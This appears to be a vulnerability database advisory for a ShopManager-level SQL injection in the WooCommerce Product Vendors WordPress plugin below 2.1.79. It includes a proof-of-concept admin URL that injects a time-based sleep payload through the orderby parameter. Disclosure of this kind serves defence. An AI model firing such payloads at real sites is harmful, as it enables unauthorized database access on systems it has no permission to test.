WooCommerce Product Vendors < 2.1.79 - ShopManager+ SQLi

2023-06-1900:00:00

wpvulndb

woocommerce

product vendors

sql injection

0.001 Low

EPSS

Percentile

33.1%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as ShopManager

As ShopManager, open the URL below

https://example.com/wp-admin/admin.php?page=wcpv-commissions&orderby=order_id`,(select+sleep(10)+from+dual+where+database()+like+database())--+-

References

patchstack.com/database/vulnerability/woocommerce-product-vendors/wordpress-woocommerce-product-vendors-plugin-2-1-78-shop-manager-sql-injection-vulnerability

0.001 Low

EPSS

Percentile

33.1%

JSON

Related for WPEX-ID:79045D20-8BA1-42F5-AF98-62A09CBAFA5A